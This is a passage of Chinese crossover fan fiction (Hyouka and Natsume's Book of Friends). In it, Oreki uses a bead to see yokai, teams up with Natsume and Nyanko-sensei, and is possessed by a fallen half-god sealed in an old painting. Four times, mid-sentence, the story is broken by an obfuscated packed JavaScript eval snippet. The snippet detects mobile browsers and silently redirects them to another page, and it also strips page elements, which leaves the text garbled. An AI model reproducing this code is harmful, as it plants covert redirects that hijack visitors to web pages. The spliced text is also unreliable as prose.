敏锐如里志，很快察觉到话里的不对：“难道是发生了连你也无法处理的事情？” 被对方如此一针见血地指出来，折木深呼吸一口气，但要全盘向无关人员解释来龙去脉，反而说不出口，或许里志会相信他的话，但他很清楚那是完全无用的行为,要是因此给对方带来麻烦，那就是他的罪过了。 “如你所说，确实遇到麻烦事，具体情况我不能说，只是需要你给我一点灵感。”折木用手指轻弹着电话线说道。 “把我当成数据库吗，真是会使唤人啊，奉太郎。” 折木没理会对方混杂着阴阳怪气的揶揄，简明扼要道：“假如你突然拥有珍贵到让人觊觎的东西，不能丢掉，不能告诉其他人，还要防止别人来抢走它，这种情况你觉得要怎么办？” “你这应设条件也太多了吧……”里志吐槽一句后便陷入了沉思。 大概过去一分钟，正当折木以为他睡着的时候，就听里志说：“不好办啊，藏起来怎么样？” 折木无奈：“要是能这么简单就好了。” “不能丢，不能藏，不能交给其他人，那就只有一种办法了。” “什么？” “解决制造问题的人。” “……你是在开玩笑吗？” 完全不得要领的对话，让折木焦躁感翻倍。 “不是啦，问题的制造源头应该是想抢你东西的人吧，若是把他解决了，那不就万事大吉了。” “不过这种让警察上门的方法我不推荐，光是想象你要葬送谁的画面就对不上号，更何况还是打算将节能主义贯彻一生的奉太郎。”里志说着就笑了出来，他特别喜欢用自己风格的思考方式来嘲弄折木。 “你对我真够了解。”折木非常冷漠。 “彼此彼此。”里志不怀好意地微笑。 结束毫无建树的对话，折木转过身拨弄刘海的发尖思考。 解决制造问题的人……要他解决那种大妖怪吗，真的假的？ 他看向手里的珠子，心情很不畅快，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266235|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始呼唤小马脸：“喂，你在的吧？” “真是失礼，我不叫喂，我有名字的，我叫纸月。”声音是从他后方传来的。 折木转身用珠子看去，那家伙竟然就站在电话筒上。 “既然行舟先生能看到妖怪，那驱赶妖怪应该也擅长的吧。”折木问道。 小马脸，不，纸月像看笨蛋似的看了他一眼，挺着贫瘠的胸膛道：“那是自然的，行舟原先可是除妖师，有我陪着他之后，就不再做除妖的工作了。” “这种事你就应该提前说。”看它还挺自豪的样子，折木很想把它弹飞出去。 他随意应付晚饭之后，就回到房间翻阅书架上的古书。 可惜都是些生涩难懂的古文，想要完全理解根本就是痴人说梦。 “真是个笨小子，连这都看不懂。”纸月见他垂头丧气的样子，敲了敲他的脑袋，“别浪费力气了，去找那个盒子，里面有行舟留下的驱妖符。” “在我做无意义的事情之前，你就应该说清楚。”折木再次埋怨，语气中多了一丝咬牙切齿。 “哼，只想走捷径的小鬼不会有什么好下场的。”纸月对他想要偷懒的行为抱怨道。 两人边斗嘴边找，直到折木从木盒找到了两张发黄的符纸才停下互怼。 符纸虽然皱得不成样，好歹勉强能用。 “只要扔到妖怪身上就行了？”折木说道。 “是的。”纸月点头道。 折木将符纸放进口袋里，心想，即使没什么把握，他也只有两次机会了。 要是不成功的话……折木想起同样能看到妖怪的夏目。 还是算了，这是自己的事，即便能看到妖怪，他也不想把无辜人员卷进来。 折木摇摇头，关掉台灯，睡下了。 …… 梦里的世界光怪陆离，他梦到的主角仍旧未变。 老人身处在满是画的房间里，而这次的视角很远，仅能看到他的背影。 “纸月，看到了吗？” 老人侧头朝着一个方向呼唤，他的声音如此温柔，莫名地想要与他搭话。 “以我现在的能力没法再现你喜欢的花，但如果用这个的话……你应该会高兴吧。” 老人话音刚落，一股血腥味掺杂在空气中，老人不知道做了什么，原本空无的画卷出现了点点晕染开的红色，随着浓郁的花香盖过血腥味，那抹红色冒出了枝头，无数的花骨朵凭空生长，全都娇艳欲滴地向外绽放。 此等绮丽的景色充斥着折木的视网膜，像是被这浓郁的樱色//诱惑着视线，他产生了想走到老人面前的强烈冲动，想要和他说话，想要告诉他花很漂亮，他很喜欢。 可惜他走不出去，只能远远望着老人寂寥的背影，只能贪婪地……窥视着他。 “纸月，若是我不在了，你——” “一定要活下去。” 老人的声音明明很远，听起来却近在身旁。 砰—— 脸颊被紧贴着地面，折木被那样冰冷的寒意和刺痛唤醒，他睁开眼睛，发现自己面朝地，呈一个大字摔下了床。 痛……折木捂着脸爬起来，一抬头就看到纸月一脸窃笑地注视着自己。 5. 第 5 章 该怎么评价一觉醒来就看到烦人的东西。 折木顶着鸡窝一样的发型，将蛤蜊和鸡蛋打到碗里搅拌均匀，顺势倒进平底锅里。 “人类，你的手艺看起来不错。”闻到诱人的香气，纸月趴在折木头上忍不住流口水。 “不会给你吃的。” 折木知道它的想法，无情地将摊好的鸡蛋，配着牛奶两三口吃完，结果被纸月揪着头发扯痛了头皮。 “不懂礼数的人类，行舟和你就不一样，他对我就很温柔，只要我愿意，他就会无条件满足我。” “所以我不是他。” 折木果断的回答打断了纸月的回忆，气得纸月在他头上故意蹦跶了几下，反被折木再次弹飞。 “说起来，我房间里那幅古画也是妖怪吗？” 折木开始不露声色地向纸月套话，他可没忘梦里那个能从画中探出身体的女人，似乎和行舟先生交好的样子，估计也是很亲近对方的妖怪。 但那张笑脸不管怎么想都让他浑身发毛，甚至对那幅画产生了心理阴影。 “纸月？” 没得到答案的折木稍稍歪了下头，用珠子看了眼自己的肩膀。 正过微倾的头，坐在那的纸月却把视线错开，不知在焦虑着什么，折木从它那张马脸中察觉到了慌张错乱的情绪。 “喂。” “唔！怎么？”纸月吓了一跳。 “你在发什么呆？” 纸月没能在刹那间做出反应，直至再次听到折木的提问，才突然加重了说话语气，强硬道：“它……它是行舟封印的恶妖。” “啊？”折木满目惊讶。 “总之那家伙不是什么善茬，行舟不在了，那幅画的封印也会松动，里面的妖怪为了冲破束缚肯定会想尽办法套路你、诱惑你，你可千万不要理会！” 说完，纸月含糊不清地说完，竟然从他的肩膀跳了下去，选择逃之夭夭。 “喂！”折木下意识想去拦它，发现前方已经有路人回头看他了，他便只能因此作罢。 不对劲。 纸月的话包含了很多不像它风格的顾虑，说的话也与他梦中的事物有无法吻合的疏漏，虽说人与妖有别，但它要想守护行舟先生的遗物是事实，总不会为了编造答案而故意向他撒谎吧。 折木一陷入思考，整个人就变得浑然忘我，连逐渐靠近的脚步声都没察觉到。 “折木！” 一只手拍向他的肩膀，折木“喔”了一声，应激过头般转身，发现是同班同学的北本，和一个不认识的男生，以及……夏目。 “喊你半天了都没反应，是在想什么这么出神？”北本自来熟地拍了拍他的肩膀。 “……在想一些事情。”折木对热情过头的北本还是很不适应，把心事先往下压了压，目光在触及夏目的时候，他莫名觉得对方脸上的笑容过于虚幻。 “哈哈不会是女孩子吧？”北本开玩笑道。 “大概。”如果把那张古画的女人也算上的话，折木想。 “真的假的，你这表情完全是在敷衍我们吧。” “哪有，我可是很认真的。”折木既无表情也无热情地回怼道。 “你们看，我就说这家伙真的很有趣！” 北本喜不自胜地朝另外两人重重点头，然后指向身后的两人向折木介绍道：“差点忘了介绍，这是二班的西村和夏目，是我的死党哦。” “哇，我第一次听见这么黏糊的称呼。”西村第一个直呼受不了。 一旁的夏目也笑出了声，他的笑声很好听，有种折木形容不出来的独特气质。 北本不满，开始和西村打闹，也因此让折木不知不觉落后几步，渐渐与夏目并排同行。 “昨天没撞伤你吧。”夏目开口道。 “没事，是我突然冲出来才会变成那样。” 若是没有这些麻烦事，他才不会跟个笨蛋似的到处被撵着跑，折木想。 像是察觉到他话语中的烦躁，夏目犹豫片刻，最后下定决心开口：“关于这件事，我其实想和你私底下……” 话还没说完，折木听到耳边传来纸月的声音。 “快走，它来了。” 就在一瞬间，夏目也从背后看到了什么，表情发生了三百六十度大转变。 没有用珠子的折木虽然看不到，但纸月的提示已经再明显不过了。 “嘿嘿嘿，珠子和友人帐都是我的了。” 声音夹带着风从身边拂过，大脑处慢了半拍的折木，身体被一股力量带着行动，随即才意识到是夏目拉着他的手腕跑了起来。 “等……” 在一无所见的状态下，折木没有错过身后北本和西村错愕的表情，他有一种说不出口的心如死灰，或许从现在开始，他就注定与安稳的高中生活渐行渐远。 “不许逃。” 身后的声音还在追赶他们，折木突然想起了口袋里的符咒。 在跑进一处无人的林间后，折木出声示意夏目放开他，等另一只手得空后，折木透过珠子看到了扑过来的妖怪，以极快的速度将符咒甩到它脸上，目光透过珠子的另一端顿时光芒乍现，妖怪惨叫着偏离了轨迹，身体如同碎屑般化为灰烬。 折木从僵硬状态中缓了过来，双腿随着神经的松懈，软塌塌地跪在地上。 简直要命，他都做好了自己可能会和妖怪不断拉扯的迂回战，哪想到就这样结束了。 不过也好，既不用费力费时，又爱惜了自己的生命，让非做不可的事情尽快解决，这才是他想要的结果。 感觉到身前的阴影靠近，折木仰起头就见夏目朝自己伸出了手。 夏目看着他，担忧的情绪浮现在脸上，折木就此有种受宠若惊的别扭感，被人这么担心还是第一次。 “折木你果然能看得到妖怪。” 夏目用预料到般的口吻问道。 “那你可就猜错了。”折木借着对方的手站了起来，在对方不解的视线中拿出了那颗珠子，“我可是拜这东西所赐才看到的。” 他的语气听得出满满的不情愿，夏目想凑近一点，却见折木扭曲着表情，和突然撕扯他头发的小妖怪打了起来。 “你怎么能向外人透露出行舟大人的东西，你小子就这么缺乏保密意识吗？”纸月愤怒道。 “我可没答应你做那些事，而且那个妖怪已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266236|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在了，你也不用一直缠着我了！” 折木好不容易将自己的头发从纸月的魔爪中解救出来，倏然手心一空，那颗珠子消失了。 纸月把它带走了。 “……” 能看到妖怪的媒介就这么消失了，折木根本掩藏不住自己生硬的表情。 真是岂有此理。 夏目观望了全程，大概是从折木的态度感到微妙的变化，他看向纸月离开的方向，说道：“需要我帮你追回来吗？” “不用了，被它这么一偷，我反而还乐得轻松。”折木用冷静得不可思议的话表示否定。 只要没有那个珠子的存在，就不用看到那些东西，也不用被当成奇怪的人，如此一来，他奉行的节能主义又能持续下去。 “是吗？” 夏目盯着他却不这么认为，但自己又没有理由去干预折木的想法。 “既然如此，那我们去学校吧。”夏目漾起温柔的笑意。 “哦……”折木愣了愣，还以为这个人会刨根问底，没想到就这么轻易过去了。 “我昨夜还想着你是不是被妖怪缠上了，因此还担心了一晚上。” 听到这话，折木有些茫然，为什么对方会这么在意自己，再怎么说他们连最初相遇都没好好地认识彼此，即使到了现在，也只是因为“妖怪”这个因素才聚在一起。 一切的一切，他都觉得只是偶然。 但夏目的说法却让他产生一丝无法理解的荒谬感。 “怎么说呢，一扯到妖怪就会不自觉的乱了阵脚。”见折木用眼神询问自己，夏目有些不好意思开口，“所以看到你也是同样的情况，就忍不住去在意。” “这样啊……”原来是这样，还以为是自己误解了。 折木摸了摸鼻尖，干巴巴地不知怎么接话。 “喂，你们两个在这里干什么？” 一道大叔音打破了两人之间的谈话。 折木看到他们之间不知什么时候立着一只既像猫咪又像白豚的生物，不对，那背上的色泽应该是招财猫，脸也很像……但招财猫会说话吗？ 在他深陷这种诡异的逻辑怪圈时，这只有着大叔口音的猫咪眯起眼睛，说出那句经典台词：“你们不用上学吗？” 折木和夏目：“……”哦不。 猫咪老师见两个小鬼狂奔的背影，打了一个大大的哈欠，随后转身朝另外一个方向走。 “喂，那边的小妖怪，别以为我看不见你。” 只瞥了某处一眼，猫咪老师立即露出了危险的目光。 “你躲在那偷看他们好久了吧，你到底有什么目的，给我从实招来，不然就吃了你。” 来自大妖怪的恐怖气息让纸月恐惧万分，它战战兢兢地走了出来，朝猫咪老师鞠躬。 然而，就在猫咪老师见到它抱着的珠子的那一刻，兽瞳瞬间缩成了一条细线。 “带着这种东西竟敢在八原乱晃，不怕被其他妖怪撕碎吗？”它问道。 “不，我是来向您投诚的，斑大人。” 纸月的脸上努力维持着谦卑的表情，“只要大人肯庇护我，我愿意献上这颗珠子以及有关它的信息。” 6. 第 6 章 折木开学第二天就和夏目喜提迟到，被教导主任狠狠一顿痛批，而这件事也算让折木在班里小火了一把。 没什么流言蜚语传出，只是折木也不知道该怎么向当时的见证人北本和西村解释缘由。 虽然他喜欢回避更喜欢省略问题，但对问题视而不见，反而只会自讨苦吃，索性就配合夏目编了个经不起推敲的理由暂时摆平了追问。 自从这件事后，他和夏目有了来往但不多，只是两人能够碰到就一起上下学的程度。 “妖怪”算是他和夏目共同的秘密，但大多数时候他还是不想过度深入另一个世界，也不想应付妖怪这种超自然的生物，所以没怎么闲聊过有关话题。 但让折木没想到，事情的走向已经渐渐偏离了日常，不是他一个普通人所能控制的。 “我回来了。”折木懒洋洋地开门脱鞋。 父亲见他回来，提了一句：“奉太郎，你房间很乱哦。” “什么？”折木没能理解。 “虽说男孩子的房间稍微乱一点也没关系，但你那个貌似有些过头了。” 父亲还在沉浸自己的说教，丝毫没理会折木一脸呆滞的表情。 折木心里顿时冒出了不好的预感，快速来到房间，就被眼前的景象给震撼到了。 窗户大开，风将窗帘吹得猎猎作响，地板、书桌上堆积着大量的花瓣，他的床基本被埋了起来，视野所及全是樱色。 “不过有一说一，真是绝景呐。” 父亲神不知鬼不觉地从他身后探出脑袋感叹着，抬手拍了拍快要石化的折木，很是悠哉道，“那我去工作了，打扫就拜托你喽。” “等等……这是怎么回事？” “我怎么知道，说不定是山风把花瓣带下来了吧。” 怎么可能。 而且折木突然意识到一个问题。 他虚着眼看父亲：“老爸，你不会就是为了这一出才等我回来吧。” 折木这回清晰地表达出自己的意见，当然这对自己的父亲是行不通的，对方虽然大大咧咧，但和自己的女儿供惠戏耍小儿子却特别有默契，所以那几句话也是随口胡诌的。 “你觉得我会大费周章在你房间捣乱吗？”父亲故作恼怒道，“我很忙的。” 说完挥挥手，留下折木死气沉沉地看着满地的花瓣，陷入史无绝例的崩溃。 是纸月，还是那幅古画？ 这种非常理的现象只可能是妖怪干的吧。 折木深一脚浅一脚地踩进花瓣里，向周围大声呼唤纸月的名字。 几分钟过去了，没得到任何回应，差点忘了，没有珠子他看不见，也听不见。 他走到书桌面前，画卷好端端地挂在那，没什么异常。 折木叹了口气，用手抓了抓头发，表情颓丧，带着满腔无法发泄的怒意认命打扫起来。 直至晚上，折木才将装着花瓣的袋子挪到玄关处，刚打开门，猝不及防与门口正要敲门的人来了个四目相对。 “夏目？” 折木看到他的瞬间，愣怔了一下，他看到对方手中提着一个纸袋子，里面还冒着热气。 “不好意思，我没打扰到你吧。” 夏目很快从僵持中反应过来，露出往日里的微笑。 对方的声音在耳边响起，折木的目光仿佛刚从遥远的地方摸索回来，当他的思绪再次回到这里时，才连忙摇摇头。 “塔子阿姨听说折木先生总是忙于工作，想着你一个人在家里不方便，就让我带点东西给你。” 夏目解释自己的来意，折木闻言反倒变得不好意思。 父亲不在家，他对独自一人操持生活不以为苦，反而乐得其中，但被别人这么关心对待，心里不感动是不可能的。 折木侧身让夏目进来，因为要招待对方只能将垃圾先放在门口，心里计划着明天再丢出去。 “你好像很忙，需要我帮忙吗？”夏目见他浑身都散发着疲惫，一副能量耗尽的模样，不禁问道。 “不用了，我收拾得差不多了，进来坐吧。” 折木干巴巴地迎对方进来，混乱的大脑开始思考该给夏目喝大麦茶还是咖啡，这可是他第一次迎客，总不能让对方产生坏印象。 “其实只是来送东西的，就不进去打扰了……”夏目看出折木的为难，打算把东西送到对方手上就回去了。 可惜一个圆滚滚的白面馒头已经嗖地从他们脚边蹿了进去。 “好香啊夏目，我闻到厨房里炸小肉丸的味道。” 夏目脸上的笑容破裂。 “老师！” 白面馒头头顶迎来沉重一击。 猫咪老师被K·O了。 夏目苦笑着将头顶冒烟的老师抱起来：“抱歉啊折木，我家猫太不听话了。” “夏目的猫是妖怪吗？”折木问。 不等夏目开口，怀里的猫咪老师已经抢先回答了：“这小子可是我的仆人和食物，我只是暂时住在他那，迟早有一天我可是要把他吃掉的。” “这样啊。” “嗯？你好像不太惊讶？” 折木已经完全接受妖怪这个认知了，再看到再奇怪的东西也不觉得害怕，何况是一只会说话的猫。 不过猫咪老师盯着他露出深沉的笑容：“小子，你身上有很浓郁的妖怪味，你是被标记了吗？” “啊？”扭曲的内容就这么直白灌入耳朵里，折木以为这是幻听，连夏目递过来的食物都差点没接住。 猫咪老师又探出身体朝折木身上嗅嗅，露出轻微的警觉：“这妖怪来历不小，小子你可得担心。” 夏目闻言也蹙紧眉头，问折木：“老师的判断一般不会出错，这和折木你遇到的妖怪有关系吗？” 折木想起房间里的花瓣和古画……但有关纸月和行舟先生的事还没有达到可以告诉对方的程度，他想了想，只把回到家之后发生的情况告诉了夏目。 知道是妖怪作祟，夏目就不可能坐视不管。 折木带着一人一猫走进了自己的房间，刚刚打扫干净的房间看着很让人神清气爽，但夏目的目光却越来越严峻，一度让折木以为自己的房间现在就盘踞着许多妖怪。 情况很糟。 在夏目的视角里，地板上被各种大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266237|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一的脚印占满，很难想象这里究竟有多少妖怪呆过，如果要和他认识的妖怪数量作对比，很明显超出两倍的总和了。 他将视线投向墙上那幅挂画，倒是没有什么发现。 但直接说明会把折木吓一跳吧，夏目想。 “有太多的妖怪味道混杂在一起了。”猫咪老师一边舔自己的爪爪，一边开口，“你的房间有吸引他们的东西，如果你还要继续住下去可是会遭殃的哦。” “你是不是知道什么？” 折木表情一变再变，有那样的价值只可能是那颗珠子，但没道理这只招财猫一样的妖怪会知道。 除非，纸月曾找过它。 “你看上去挺机灵的，没错，有一只小妖带着令妖怪癫狂的东西找上我，告诉我了一些很有趣的事情。”猫咪老师很是爽快，一点隐瞒的意思都没有。 旁听的夏目点出了问题所在，无奈道：“怪不得你也跟过来了，老师你是来分一杯羹吧。” 猫咪老师狡黠转过头，一脸理直气壮：“有什么嘛，能够增强妖力的东西就近在咫尺，我怎么能容忍其他妖在我眼皮子底下拿走。” 折木开口：“可珠子已经不在我手上了。” “不对哦，这里还有比其更有价值的东西，只是现在还没有妖怪找到而已。”猫咪老师得意地反驳。 听到这话，折木说不清此时是什么心情，纸月会这么做，大抵是不信任自己，因为自己的拒绝和消极，即便是与他有血缘关系的行舟先生，折木也坚持表明自己不愿牵扯其中。 但他还是不理解，既然纸月那么想要守护行舟先生的遗物，为什么还要大张旗鼓地向妖怪们透露遗物的存在，这不就本末倒置了么？ 等等，本末倒置。 折木似乎从脑海中闪过一丝灵感，但未抓住要领，似乎还缺少一点什么。 他呼出一口气，竭力不去面对内心产生的动摇，疲倦的脸上浮现一丝苦笑：“不过，让那么多妖怪在我不知情的情况下过来，那家伙估计还有想报复我的想法吧。” 夏目看了过去，折木苦笑过后，脸上基本就不剩什么表情，那是一副既不在乎自己，也不在乎他人的表情。 似乎被什么刺痛般，夏目沉默过后，发出了邀请：“要是那些妖怪还要过来的话，折木你就危险了。” “所以，要不要暂时先搬到我家？” …… “诶，折木君？”藤原塔子看着跟在夏目身后的折木，满脸惊讶。 夏目不假思索地微笑：“塔子阿姨，我想和折木讨论作业，时间估计会很晚，今晚能让他先住我这吗？” 塔子的惊讶转变为温柔，笑着回应：“当然可以。” “真是不好意思叨扰了。”折木小声地开口，两颊微微有些发热。 原本夏目的提议他很想拒绝，奈何危机四伏，他只能为保小命同意了，反正自己老爸不回家，也不用担心除自己以外的人遭遇不测。 而对于折木的到来，藤原一家很是热情，折木享受了比招待客人还要扰乱人心的待遇。 这是他见过最好的一家人了，折木非常肯定地想。 7. 第 7 章 “真是连累你了。” 折木进入夏目的房间后，再次忍不住开口。 “不用觉得麻烦，能帮到忙的话，我也挺高兴的。” 夏目铺好两人的被褥，顺便从正小酌一口的猫咪老师那拿走了酒瓶。 猫咪老师跳起来用手去够酒瓶，却不小心震到了肚子，它像是瘫软的年糕，从枕头上缓慢地滑下来，一边往回滑，一边说：“可恶的夏目。” “忍忍吧老师，今晚就少喝点，你可是我们的保镖。” “哼，这点酒又灌不醉我，那些小妖我一爪子就能拍飞掉。” 猫咪老师嘴上反驳着，但还是趴到枕边，算是正式进入保镖的角色中了。 折木看着一人一猫的互动，连勉强装出僵硬笑脸都装不出来，他觉得自己欠着夏目相当大的人情。 他坐在靠窗的位置，黑棕色的头发正在轻轻晃动，他以复杂的眼神转头看着隔壁自家的房子，月光柔和地照射在他俊秀的侧脸上。 直到快要入睡的时候，折木都不曾离开窗边。 …… 月亮不知不觉已经升了起来，到处都隐约地泛着白光，一瞬间仿佛有春天的花香乘着依然很冷的夜风飘了进来。 梦境里的老人摇摇晃晃地走进房间，在木桌前颓丧地撑着地跪坐下来，此刻黑暗中只有老人急促的喘息声传来。 视角被固定在角落，目光将唯一的那人仅仅攥住，依旧是如此渴望而贪婪。 “抱歉……我大概快不行了。” 老人深呼吸了口气，才将七零八落的气音组成一句话，宛如树枝互相摩擦一般虚弱无人。 “若是你醒来，发现我不在了，你会不会恨我呢，纸月？” 他整个人仿佛被远古时期被灭绝的生物，只能靠着最后的力气趴伏在地上。 不知是不是预感到了死亡，视角牵动着往前移了过去。 老人听见了动静，捂着胸口转过了头。 “是你啊。”对焦的视线看了过来，老人温柔地笑了笑，“这样啊，你是来送我的吗？” “你问我要去哪？”老人听到了询问声，努力挺直腰杆，将口中的血腥气咽了下去。 “那大概是无论是人还是妖都能相处的地方。”老人有一瞬的踌躇，但很快又归于平静。 视角开始剧烈颤动，不知是听到了什么，老人有些惊讶。 “抱歉，我不能让你跟我去，”他摇头道，“即便这个世界有很多悲伤到让人承受不住的事情，但总会有让人眷恋的事物，如果可以，我也不想离开……” “人终有一死，我早已做好准备……或许就是为了这个时候，我才会用……我的这双手……” “将她……封印起来咳咳……咳咳咳……” 老人脸上再度浮现虚弱的表情，他剧烈地咳嗽出声。 血污落到地面，与黑暗的环境融为一体。 “不用……为我悲伤，迟早我们……会再见面的。” 最后的画面暂停在老人流露的微笑。 一股无法言喻的感觉充斥全身，那是为了无法得到的东西和永远失去的东西而绝望的悲伤。 此时，耳朵里渐渐泛起了耳鸣，细碎的花瓣带着漂亮的余韵不断被落入地面，被零散的烛光仿佛染上了层层灼热。 夏目猛地睁开眼，他感到眼眶发热，有什么东西落在了被子上。 刚刚那是…… “夏目！” 猫咪老师的声音如雷贯耳，他下意识看向折木的方向，发现旁边的被子掀开，而折木本人则蹲在敞开的窗户上。 夏目连忙起身，叫着折木的名字，但他发现眼前的人并没有理会，反而用发凉的视线盯着窗外看。 “你不是折木吧？”夏目厉声开口。 此时这个让人感受不到人类气息，如同存在另一个世界的“折木”勾起一个傲慢的笑容，盯着愤怒的夏目露出奚落的眼神。 他什么也不回答，竟从窗户跳了下去。 “折木！” 夏目跑到窗前，看着“折木”宛如灵巧的猫，轻松跳过屋檐，落入地面便朝森林的方向跑了过去。 夏目朝猫咪老师大喊：“老师！” “真是麻烦的小鬼们！”猫咪老师顿时膨胀身体变化为原来的形态，带着夏目飞上了天空。 “在那里。” 确定“折木”的方向，身下的白色大妖一个俯冲朝着森林深处扎了过去，风声将周围的空气破开，速度之快，竟挡在了“折木”的身前。 “你身下的这只大猫挺不赖嘛？” “折木”看到眼前这个庞大妖怪竟也不慌张，他仍旧是从容不迫的样子，只是瞳孔因为情绪沸腾而变得妖异无比，如同深邃的森之海，若有若无地散发着冰冷骇人的视线。 夏目气势完全不让：“我不管你是谁，从折木身体出去！” “哼，别误会，只是借这个孩子的身体用一用，很快就会还给他的。” “折木”不大高兴，说着他移开视线，朝着四周望去。 “你们这些宵小的目标不是我吗，我已经出来了，还想躲在那里做什么？” “折木”的话音刚落，隐藏在树林中的妖怪陆续冒头，它们的声音在四周低沉地回响，切裂了寂静的空气。 “神明……” “那小妖说的没错……” “他身上确实有那种气息……” 随着妖怪的低语越来越清晰，夏目顿感不妙，在妖怪们准备动手之前，他挡在“折木”身前。 “你……” “折木”似乎有些吃惊，但已经来不及了，有妖怪朝着他们飞扑了过来。 “想对我的猎物做什么！” 一直作为保镖的白色大妖将围过来的妖怪甩飞，但很快又有其他妖怪飞扑了过来，数量之多，反倒有漏网之鱼抓住机会朝着夏目攻击。 “人类果真都是笨蛋，你也好……那家伙也好，总是那么自以为是。” “折木”对着夏目保护的背影发出一声叹息，他走上前拉住夏目往身后带的同时，手上动作不停，以滑步的姿态向前移动一步，双手按照射箭顺序，做出搭上乙矢、拉弓射出的动作。 明明什么都没有，但夏目却听到了金属刺破空气的声音。 嗖—— 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266238|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只妖怪精准地被射中，很快就化为碎片烟消云散。 这等近乎恐怖的后果震慑住了周围的妖怪，但“折木”无视它们的慌张，收弓后不动声色地继续瞄准。 空中不断传来“嗖”“嗖”的声音，无形的箭矢带着风不断穿梭战场，被射中就会消失，没射中的跑得飞快，哭喊着没入森林。 “住手，别再攻击它们了。”夏目见状，连忙伸出手制止他。 “为何还要帮袭击你的妖怪说话，”“折木”冷着脸看向夏目，非人性的口吻透着残忍，“多余的仁慈只会让这些妖得寸进尺。” “就算如此，也没必要将它们赶尽杀绝。” 夏目仍然坚持自己的原则，“折木”虽不爽，却还是停下了动作。 “真是的，玲子的后代什么时候变得这么优柔寡断了，受不了。” “诶？”夏目的表情顿住，这只附在折木身上的妖怪竟认识自己的外婆夏目玲子。 此时，前来袭击的妖怪已经逃得干干净净，白色大妖见没什么危险，变回了招财猫的形态跳到了夏目的怀里。 “夏目，附在那小子身上的不是妖怪。”猫咪老师开口道。 想起妖怪无意间吐露的话语，夏目产生了些微的动摇，他接上猫咪老师的话，“你是说，那是……神明。” “现在已经不算了。” 只听“折木”淡淡说道，“被天上的混蛋们赶出来后，我就被这尘世间的污秽抹去不少神性，此时的我只是一个半神半妖的东西，勉强寄宿在画里才得以维持理智。” 画！ 是折木房间墙上挂着的画！ 夏目还未消化这些内容，只见“折木”露出一抹玩味的笑容，他盯着某处轻声开口：“找到你了。” “咻——” 箭矢划破空气，钉在了某处。 随即便是一道细小的尖叫。 “折木”抬手将定住的小妖怪提了起来，那竟是抱着珠子的纸月。 “早看你不顺眼了，不光夺走我的名字，还想趁着我被封印，把行舟的一切回忆都夺走，真是不知天高地厚。” “折木”冷笑道。 手中的小妖怪挣扎得厉害，知道自己逃不掉，它竟生出勇气反驳道：“明明你被封印后，是我陪伴他的余生！像你这种自私自利的家伙根本不配呆在他的身边！” “那又如何？” “折木”眯了眯眼，将它抱着的珠子拿走。 “至少我有能力把他留在身边。” 似乎懒得跟小妖怪废话，将它丢开，留下一句“看在行舟的份上，以后别再让我看见你，否则后果自负！” “把珠子还给我，那是行舟的东西！你不准！你不准带走！” 小妖怪还在尖叫，但“折木”已将那颗珠子直接吞入口中。 “行舟应该跟你说过这是什么东西吧？” “折木”像是欣赏着小妖怪崩溃的表情，一字一句吐露更惊悚的话语。 “那原本是我的眼睛，是我送给行舟的礼物。” “既然行舟已经去世了，与其让你们抢夺，我不如就送给行舟的后代一劳永逸。” 8. 第 8 章 吞入珠子的“折木”身体一震，下一秒就像没了电的玩具倒在了地上。 夏目眼疾手快地接住折木的身体。 “折木，折木。” 夏目喊着他的名字，但折木只是皱了皱眉，歪过头继续昏迷着。 “别喊了夏目，那半神估计已经离开了，这小子吞了神明的一部分，肯定会有排斥反应，先把他带回去吧。”猫咪老师说道。 “不会有什么副作用吧？”夏目担忧道。 猫咪抖了抖它圆润的身体：“谁知道呢，就像误食人鱼血肉的人类能够长生不老，吃掉超过界限的东西，得到什么，就会相应的失去什么，希望这小子运气不差。” 夏目沉默，他有些后悔没有阻止半神的行为，他甚至更后怕折木醒来后，知道发生在自己身上的事。 若是真的像吃掉人鱼血肉那样长生不老，那折木作为人类的生涯就彻底结束了。 